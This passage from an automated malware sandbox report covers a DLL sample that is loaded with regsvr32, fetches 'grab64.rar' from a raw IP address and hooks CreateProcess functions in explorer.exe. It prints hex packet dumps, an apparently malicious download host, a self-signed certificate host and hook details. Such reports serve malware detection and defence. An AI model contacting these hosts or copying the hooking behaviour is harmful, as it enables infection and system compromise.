71 00 ca 50 bb e3 d5 f3 f6 bf 32 f6 bb 2e 86 ba 58 28 e0 f2 f6 1d 05 d7 06 da 6c bc bb 58 1d 0c a1 a6 a1 b2 aa 3a f9 a6 aa 2a f5 53 87 f2 ac b9 e9 b0 ee aa 27 0e 2f 41 2d 9e 55 7e 5e f8 87 5f 2a 65 f3 40 a3 ff 46 2c 81 f4 2a d8 22 b8 e0 bd 02 39 c7 15 de e3 fa b2 1f ed 40 d6 5b 21 e9 d2 02 4f 10 3c b5 d9 56 81 5a ce 78 2d 4a 01 d9 76 67 5a f1 0d 85 52 b1 5d fe f2 4e bf 90 ed 2f d0 cd 10 e0 df 9b 63 d0 f7 58 28 dc ac f7 93 74 54 eb ac 4b be a0 2b 40 fe 28 b9 db 95 51 d5 a0 25 9a 96 a7 cd 84 67 4e b4 1b 8b 73 5f 36 8b 8f c0 4b 19 6c 6d f2 a5 d6 de b2 96 a9 65 b4 97 22 02 6b 44 4a ca 82 07 66 18 6b a6 7a 78 44 07 71 0a c8 b6 c6 f4 ae ae cd f9 09 7f 7c f4 91 07 e0 37 3a b5 53 38 9f 95 b8 85 d6 9a f0 22 32 ae d2 72 78 fc cc e1 92 a3 c8 69 03 6f f3 0f f5 79 ab 76 20 87 bf fc a3 0b 9e 6a d5 41 09 d4 c4 1f 62 8f 3b 6c 67 4d 97 96 db 60 17 01 66 99 59 b3 31 0b 0f 1e 01 6c 55 0f 26 12 73 f8 f8 ba 5e 2b 51 f0 e3 b9 0d 56 2f 71 99 f2 e5 31 00 18 fe dc 9e e8 d3 f0 9f 13 a5 b2 b3 18 73 d6 f3 15 fd c5 fa aa 2c 68 b0 71 83 5d f9 07 a4 9d ef 5c ea 98 f5 4f 38 83 14 7a d7 75 c1 2a 91 99 97 de 18 72 dc 1a a3 1d 77 25 b7 88 8e d1 c0 76 9d ff d7 ac 57 70 e0 02 98 59 34 f3 17 b3 4b de b6 5d f9 3b 42 4c 5b 30 ef 35 f1 7c d9 28 8c dc 55 48 2b d7 6a fc 5a c1 a9 d5 c6 a2 d5 71 20 85 39 26 0e 80 a2 7b 80 0d 5a 52 6a 63 30 00 9a 1b 39 b3 54 b0 5d 03 90 55 a6 4c f5 64 80 34 28 0b e9 87 ef 44 89 d1 c4 7e 15 2f ac 5c bb ff db 56 5d 76 a0 b6 b7 20 2c 8d bd 82 e5 e1 0d 7d 6c eb c3 a9 96 99 03 16 fb b2 04 29 b5 94 54 e4 87 1b e0 b4 73 04 6c 67 a3 9a b7 96 e2 37 62 11 af 5a bb 9f b8 23 fa ef 4d 9b 6e e9 30 83 2e 6d 15 7e 89 b4 79 1b 2a 41 77 b0 f3 e8 08 be a0 74 90 c8 81 1e d1 84 26 80 42 99 e1 17 27 0f 74 bd 7b 77 ce 13 e0 26 de 38 4d 10 cb 1a b8 07 ce a9 f1 4f 39 c8 b5 f9 c4 17 ef 5b e3 91 7b 75 33 78 51 14 f8 de 73 e6 Data Ascii: OL.OV:T\|l.K/uU.![0u]G='b?'-$w%d,B~=\`lQmk^`>`:!8L[PF$~PV1>V$9uD)~dQBynOk<f&om'WUH8h;`S<6)zCy081ezP:{;&mj75J[J\Vc~ J,4ki7e&CZA+A>yjs^Tm@Bh$c]PKxx6M05V[`e /#]18WUJ+J)`Z7VxS-R'qP2.X(lX:S'/A-U~^_e@F,"9@[!O<VZx-JvgZR]N/cX(tTK+@(Q%gNs_6Klme"kDJfkzxDq\|7:S8"2rxioyv jAb;lgM`fY1lU&s^+QV/q1s,hq]\O8zurw%vWpY4K];BL[05\|(UH+jZq 9&{ZRjc09T]ULd4(D~/\V]v ,}l)Tslg7bZ#Mn0.m~y*Awt&B't{w&8MO9[{u3xQs
Nov 25, 2020 19:07:57.940124989 CET	3883	IN	Data Raw: 84 ff da e0 da 6b 98 70 05 8a 06 5f 47 5d d8 3f e4 33 af fe 04 b7 39 ff 2e 30 64 8f 7e dc a9 bb 7c 3d b2 f4 5e a4 39 a7 7a 4c 5b 50 20 f5 e5 58 55 0c fb f7 c9 2e 48 b7 75 90 cf b3 1f 6a 49 24 71 a7 5a 20 94 40 4b 06 c4 f4 b2 eb 24 a7 a8 6c ca 3f Data Ascii: kp_G]?39.0d~\|=^9zL[P XU.HujI$qZ @K$l?l21QjD5NU<;"hwq6\(L#Fc4cSS;hv+cdKT=`=oF&5]hnS$g2fxGH_&h
Nov 25, 2020 19:07:57.940171003 CET	3885	IN	Data Raw: 0a 45 33 f3 cf b9 bb 24 16 22 5c 09 a1 b3 78 fb 4d 7f 2e e9 6e 90 80 ec 36 d4 91 c9 d6 32 12 30 d7 f4 a3 3e b6 27 e3 d6 d1 82 ae 62 2a 97 f4 26 d5 b2 75 71 f8 f9 2b d9 40 bc de e1 48 4b 9b 67 7c ad 60 c9 53 70 2a 3e d3 bf c5 17 8c 5e aa 04 89 2d Data Ascii: E3$"\xM.n620>'b&uq+@HKg\|`Sp>^-c5L?lLej~k-\|C2E[<.>:%'WPs\x><ZD8gmt0dwALh?0,p$yrWt62c3Dro=zP2[m!o
Nov 25, 2020 19:07:57.940207958 CET	3886	IN	Data Raw: 7e 3f 07 9b 84 5b f7 5f 50 95 75 db cd e1 c8 6c f1 87 e8 50 cc f0 31 44 d2 f2 d9 20 87 1c 0c 1a ba a4 e2 c8 ff 60 5f 39 99 e9 41 29 31 fe 0a 83 5d b8 71 fa c7 5a 36 a4 ba 81 31 7e a6 db 48 83 a8 be 98 25 05 0e f4 a8 30 f0 f1 bf 7d 43 4d c1 7d 79 Data Ascii: ~?[_PulP1D `_9A)1]qZ61~H%0}CM}y4r<&B@q;[UC3UyXkU'tHG/yhsAOrLSUSZ_5f/{20gWbQwlLR5:i\|]U}{PGv
Nov 25, 2020 19:07:57.940248966 CET	3887	IN	Data Raw: 9c c4 b0 41 5f 9f b6 f5 37 a0 af 66 60 45 80 de 1a 31 02 27 aa 76 74 58 75 7a 1a bb 9f 24 c9 4d d7 16 94 a5 06 44 f0 27 4d 41 2b cc aa 5c 2c bb c7 46 6a bf bf f3 dc 46 fd bb fb 7e a4 78 0c 9f 86 a9 fb 5a 39 4c 99 86 a2 da 17 de 02 d3 a4 9b 9e e4 Data Ascii: A_7f`E1'vtXuz$MD'MA+\,FjF~xZ9L'7\b=l{s5-4e.!8VP1.l4F"oB#xT2W 8=3SZc[R)\|s}oL6S2S`2QYwZ
Nov 25, 2020 19:07:57.940289021 CET	3889	IN	Data Raw: 5f 72 b2 44 ac 4e 77 1f b7 da 30 eb 8b 03 08 8f 01 23 51 90 6c 1d c8 aa 40 1e 38 b5 cc 12 18 be bb bb d0 7e 2b 0c fd 15 92 db fe 1b da de 38 55 bc 95 0b ab 63 59 22 63 31 a2 be 2a 92 c5 96 0f 45 b6 fc 46 ca be 78 6b 13 2d 08 18 a3 0c 1f f6 ba a4 Data Ascii: _rDNw0#Ql@8~+8UcY"c1EFxk-U0c[c5W\RA8xgR@vskFld:3UB]q#R65skP$[oz8)j7*TI3/;-MF?6Vb
Nov 25, 2020 19:07:57.940443039 CET	3890	IN	Data Raw: 33 ab a7 c1 70 d4 23 e1 10 14 89 29 71 ff 02 0f fc ae 20 dc ba 4a 3f dd ed 00 d6 40 04 12 24 0d f4 e5 21 f5 1f d8 fc 92 07 9b 3a 89 04 3d 2d 2b 25 cf 47 37 43 ae d5 0b be 15 93 d9 17 76 ad d2 3e f7 6f fa 06 20 b0 a9 a0 39 07 c8 59 d8 3f 58 5d 64 Data Ascii: 3p#)q J?@$!:=-+%G7Cv>o 9Y?X]dRvO/St%eo \t_1xAegohQ6.RAtT^)rd=;lY~FOp1E}n>V.0)7FT2!LEr=
Nov 25, 2020 19:07:57.940486908 CET	3892	IN	Data Raw: aa 99 27 5a eb 25 a0 c6 e7 78 15 45 26 bc 3b be e4 02 51 d2 ee fc 93 50 fd 6a 93 bc c4 76 64 44 65 05 0f 05 79 63 77 12 2f dd c2 16 ca 8b 50 08 af 82 d9 fa 39 43 76 3c ab 77 1e 0b 1e b4 23 e4 b4 da dc 3e b6 10 c8 52 99 ad 11 35 61 c4 47 79 cb 26 Data Ascii: 'Z%xE&;QPjvdDeycw/P9Cv<w#>R5aGy&#YhfG2My8y_;P>LD"WI0kM}'U\|'G@GRrge$v1iBw8\|h`fbEJ(xQZ>V2'oZcO\|'J"25cJL,ID\|'bFu
Nov 25, 2020 19:07:57.940591097 CET	3893	IN	Data Raw: 49 30 9a f5 12 de 14 e5 27 de c7 ef ce 78 eb 29 4d cc 3c 4d 10 9c 78 78 8a 40 b3 41 c7 4e c6 ff 98 b0 6f e8 d5 66 31 10 1e 4e 1b 3b f3 30 f2 09 9d 70 ed 5e 71 69 11 ee 3c 83 d8 af e4 9e ed ff b1 d3 db a5 75 fb 4b 56 76 40 73 ca e3 56 10 36 fb 22 Data Ascii: I0'x)M<Mxx@ANof1N;0p^qi<uKVv@sV6"Hql~8 C`cMsk H8/$kWAk3~PXbLe6[_7<Sd9PI:${'m.6@7+dh("EXsBE5lCxv7A1M\@:;8F
Nov 25, 2020 19:07:57.940630913 CET	3895	IN	Data Raw: 10 55 47 17 b7 ad 4a 85 6e 59 37 03 33 e4 8e 05 98 8e 0b 84 32 32 e3 9d 04 83 59 bf 1f 3c fa 1f f6 ba c5 46 be 99 25 56 3a 63 52 e9 33 04 3b 6e 28 f4 14 51 13 7d c8 fe 16 5e 2a a3 37 ee fa bc 24 15 c2 19 46 8f 12 60 f8 b3 3b 0d 11 ef bd 2d f0 15 Data Ascii: UGJnY7322Y<F%V:cR3;n(Q}^7$F`;-$SY>/_A_rE\BQgSv(HB+f~,`8lkk@2lwJ+'fC,@Ree"Dr(Tkh6] [!Mdp lCbF52
Nov 25, 2020 19:07:58.116024971 CET	3896	IN	Data Raw: 44 ab 1d af 01 59 c6 18 62 cb 67 39 58 c6 74 82 ed ba f5 88 7e a5 61 e3 43 a4 d6 6a c2 a6 76 b5 a2 91 7c 6b 7a b2 a6 fe 0e a0 51 03 c5 eb a0 f1 2d 02 5d 58 d7 39 30 98 4b ff d9 71 cf 7f 2f af a2 d4 82 90 37 95 91 95 a4 16 39 d8 ce 9c bd 37 af 72 Data Ascii: DYbg9Xt~aCjv\|kzQ-]X90Kq/797rK#gI7]R`(d#'Oo ]+c<cv{#w+>Hvg@&-VDK5kf^]1d?NSNkNPq=
Nov 25, 2020 19:07:59.736968994 CET	4243	OUT	GET /grab64.rar HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64) Host: 63.250.47.200 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2020 19:07:59.911725998 CET	4245	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:59 GMT Server: Apache/2.4.37 (centos) Last-Modified: Thu, 27 Aug 2020 16:30:15 GMT ETag: "71a4e-5adde7375d3c0" Accept-Ranges: bytes Content-Length: 465486 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/vnd.rar Data Raw: ea 33 ad 3d 68 e9 26 c2 a0 1b d2 21 80 38 b6 5e 74 82 25 e4 8f c4 e3 57 d6 75 7c 59 8f 86 09 61 56 ca a8 23 8d fe 9a 04 76 78 1a 6d fd 58 6d f9 01 18 34 bb 93 8b 4d 7a 6f 57 eb 17 5f 13 51 ed a8 5c 96 9e 2e 77 63 52 38 b2 7d 20 d5 94 5b 31 97 72 f1 b8 34 0c 87 d9 dd 13 c3 3a 84 14 55 61 93 70 03 05 db 7e d8 0c 79 6b 6e 1b 3b 3f 66 1e eb 82 22 28 51 75 4f eb 51 b0 05 ce 7e 52 f7 04 b0 eb 36 14 e7 db d7 83 d1 0d db 00 2b 51 19 ec b5 4c 9f f1 f6 4e 51 44 55 71 5e b7 16 6d 99 5c f5 ec ab 28 88 83 e1 9f e0 69 29 e5 2e 1e 0b 29 26 28 ee e1 11 eb 51 e5 a5 de 9a e4 9e de 3d 39 4a 17 a7 34 43 55 81 58 d2 0b 85 0a 95 b6 26 34 23 99 17 b8 0e 13 ea a2 72 33 1f bc cd 3e d7 54 38 38 73 10 93 29 86 9f f1 90 a8 98 d1 4e d1 ec 5b ff 52 9c 46 8c 36 94 72 c2 9f ca 09 05 65 7c 88 39 de ad 5f ab 81 0a 11 b1 b2 e3 05 1a 29 28 d4 ec 1b 10 92 47 40 bd 5f 9f d0 e2 f2 c2 17 3d 5e 9e c9 6d 73 ff 48 0b 96 3a 85 20 c4 cf 0b 93 da a8 11 38 06 8c 60 1a 2f 51 2a 93 0a 34 f8 58 ac 50 7a 76 d1 80 44 8b 20 97 19 a3 ff 97 c3 f3 0d 2f 17 65 56 54 b2 cc c9 26 b3 f5 bf 6b 35 3c 81 40 a0 7d aa 6b 82 29 0b 8f a3 12 22 20 be 4f 15 36 f1 a9 b3 50 2a 01 8c ff ce 16 28 92 71 74 64 75 35 b7 82 c6 ea 93 4a e8 d7 57 44 a0 ef eb 84 0b b1 f2 14 da e8 eb 5e 2c 2f b7 e7 11 82 2e b8 ab 80 fc be da 3a 95 20 a2 2c 55 18 80 f1 ce 8b 7d a6 9a 28 5f bf e9 0b 2e e2 da 55 f5 30 d8 5f 08 12 c4 54 08 f4 30 04 6c b7 f3 d5 74 de 5d cc 4f 18 d1 b3 ff 1f 69 13 4d 69 eb 45 90 3f de 25 71 63 4d 76 ae 24 6a 11 65 fb ee 4e c0 56 6a 5b 96 b3 28 c7 11 ca 71 b7 ab 18 92 f1 a5 3f e3 6c a1 c4 92 ce a0 59 29 8a 97 6a db 9f 18 a3 a8 6f e5 0a 62 c3 f7 24 a3 03 34 9d d4 67 39 7e 55 c7 e8 ba f7 4f 5e 7b 90 df c7 24 15 b4 b7 e1 77 1e d6 08 dd 7a 09 82 40 93 f3 51 0c 9e 12 33 f2 5f 1f 3c c4 88 f9 4a a1 5e 1f bd 09 16 82 fc ca 16 09 13 d9 40 5b 49 b3 89 c1 94 47 76 74 e2 7c 7b 4a 50 e4 0e 46 05 58 c9 ad ea 4f 18 78 b6 50 89 4d 8b ba 08 63 6b 2f fe fb 4b f6 b3 a3 e8 4c 5c db ad 25 2b a0 62 e2 a3 a1 10 28 e5 5c ba 49 05 00 fe 14 1a 40 89 07 4b 00 e3 84 40 94 88 ea 62 fc f8 dd 3c 4b bf 03 84 d3 c2 12 23 cc e2 66 4e a2 20 d0 ea 85 23 ca d5 81 7b de f5 39 87 14 e6 db 52 b7 61 2b 2f 46 d0 60 94 86 e3 6e cf fc 63 26 c7 7e 74 9a 22 8c ad be 86 3d f6 21 92 a9 26 36 13 06 6f ed 02 3f 2a fa 46 07 9d 43 bd 9f ca 0b de 06 77 4e 8a f9 28 5d 26 65 67 c9 ce dc a8 c1 5d af fb fe cc c8 7e 9a c6 3b 8a db 1a 64 3b d9 24 03 e0 59 e9 69 ee e4 4f 17 84 7d 4c ed 3e 59 66 c7 69 e0 e9 22 dd 14 2d aa 09 b6 d8 c4 93 86 33 ba 3b 4a 85 fd 76 e1 cb 69 b9 31 a0 9c be a1 f9 bd ef a7 9a 81 ef 55 37 44 18 7f 5b fe a3 06 cc df 6f 1b fe e9 46 5d 96 c2 dd c3 44 cf 96 e4 50 33 0a bd f2 68 e2 c4 4c ce e4 0b 86 dc cc 9a 88 01 4a 7c 00 a2 03 a0 15 18 2b fe 48 34 79 8d 37 ec 2c ac e2 c4 f3 5e bb 04 2b 5f cb 02 45 26 bd c3 df 28 cc 3f e8 da af 5c 04 83 24 34 90 c2 ef 07 89 98 fe d0 d3 5d d7 bb fa 59 a0 91 f9 b3 21 96 db 1f f3 28 d4 25 04 99 34 35 11 e1 d9 ba 67 a7 69 b2 2b 20 25 5e eb 65 fd e0 17 e9 26 c3 5a 9b f9 ae 49 f4 43 15 6a 5d 64 0f da 3a a3 60 8b a4 95 86 88 7f c2 33 f5 cb 62 71 56 fe 47 6e 8f 44 8f 30 e8 6c dc 2f 8c 85 28 92 d5 ce c0 48 84 c6 a3 0f f7 98 6c 27 64 38 ad f3 7e Data Ascii: 3=h&!8^t%Wu\|YaV#vxmXm4MzoW_Q\.wcR8} [1r4:Uap~ykn;?f"(QuOQ~R6+QLNQDUq^m\(i).)&(Q=9J4CUX&4#r3>T88s)N[RF6re\|9_)(G@_=^msH: 8`/Q4XPzvD /eVT&k5<@}k)" O6P(qtdu5JWD^,/.: ,U}(_.U0_T0lt]OiMiE?%qcMv$jeNVj[(q?lY)job$4g9~UO^{$wz@Q3_<J^@[IGvt\|{JPFXOxPMck/KL\%+b(\I@K@b<K#fN #{9Ra+/F`nc&~t"=!&6o?*FCwN(]&eg]~;d;$YiO}L>Yfi"-3;Jvi1U7D[oF]DP3hLJ\|+H4y7,^+_E&(?\$4]Y!(%45gi+ %^e&ZICj]d:`3bqVGnD0l/(Hl'd8~

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 25, 2020 19:06:26.353063107 CET	151.101.1.44	443	192.168.2.7	49746	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.353063107 CET	151.101.1.44	443	192.168.2.7	49746	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.353626966 CET	151.101.1.44	443	192.168.2.7	49747	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.353626966 CET	151.101.1.44	443	192.168.2.7	49747	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.353844881 CET	151.101.1.44	443	192.168.2.7	49750	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.353844881 CET	151.101.1.44	443	192.168.2.7	49750	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.354784966 CET	151.101.1.44	443	192.168.2.7	49749	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.354784966 CET	151.101.1.44	443	192.168.2.7	49749	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.357801914 CET	151.101.1.44	443	192.168.2.7	49751	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.357801914 CET	151.101.1.44	443	192.168.2.7	49751	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.357816935 CET	151.101.1.44	443	192.168.2.7	49748	CN=*.taboola.com, O="Taboola, Inc", L=New York, ST=New York, C=US CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Nov 25 01:00:00 CET 2020 Thu Sep 24 02:00:00 CEST 2020	Mon Dec 27 00:59:59 CET 2021 Tue Sep 24 01:59:59 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.357816935 CET	151.101.1.44	443	192.168.2.7	49748	CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 24 02:00:00 CEST 2020	Tue Sep 24 01:59:59 CEST 2030		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.367996931 CET	87.248.118.23	443	192.168.2.7	49744	CN=*.yahoo.com, O=Oath Inc, L=Sunnyvale, ST=California, C=US CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Sun Nov 15 01:00:00 CET 2020 Tue Oct 22 14:00:00 CEST 2013	Wed Dec 30 00:59:59 CET 2020 Sun Oct 22 14:00:00 CEST 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.367996931 CET	87.248.118.23	443	192.168.2.7	49744	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.369107008 CET	87.248.118.23	443	192.168.2.7	49745	CN=*.yahoo.com, O=Oath Inc, L=Sunnyvale, ST=California, C=US CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Sun Nov 15 01:00:00 CET 2020 Tue Oct 22 14:00:00 CEST 2013	Wed Dec 30 00:59:59 CET 2020 Sun Oct 22 14:00:00 CEST 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:06:26.369107008 CET	87.248.118.23	443	192.168.2.7	49745	CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028		9e10692f1b7f78228b2d4e424db3a98c
Nov 25, 2020 19:08:13.278081894 CET	162.0.213.229	443	192.168.2.7	49776	CN=*, OU=1, O=1, L=1, ST=1, C=XX	CN=*, OU=1, O=1, L=1, ST=1, C=XX	Wed Nov 18 11:57:57 CET 2020	Sat Nov 16 11:57:57 CET 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,10-11-13-35-23-24-65281,29-23-24,0	7dd50e112cd23734a310b90f6f44a7cd

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	explorer.exe
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	explorer.exe
CreateProcessAsUserW	EAT	explorer.exe
CreateProcessAsUserW	INLINE	explorer.exe
CreateProcessW	EAT	explorer.exe
CreateProcessW	INLINE	explorer.exe
CreateProcessA	EAT	explorer.exe
CreateProcessA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: WININET.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFFAC2D5200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	5BB571C

Process: explorer.exe, Module: KERNEL32.DLL

Function Name	Hook Type	New Data
CreateProcessAsUserW	EAT	7FFFAC2D521C
CreateProcessAsUserW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessW	EAT	7FFFAC2D5200
CreateProcessW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA	EAT	7FFFAC2D520E
CreateProcessA	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFFAC2D5200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	5BB571C

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5560 Parent PID: 5820

General

Start time:	19:06:15
Start date:	25/11/2020
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\vnaSKDMnLG.dll'
Imagebase:	0x8a0000
File size:	119808 bytes
MD5 hash:	76E2251D0E9772B9DA90208AD741A205
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 4360 Parent PID: 5560

General

Start time:	19:06:16
Start date:	25/11/2020
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\vnaSKDMnLG.dll
Imagebase:	0x340000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
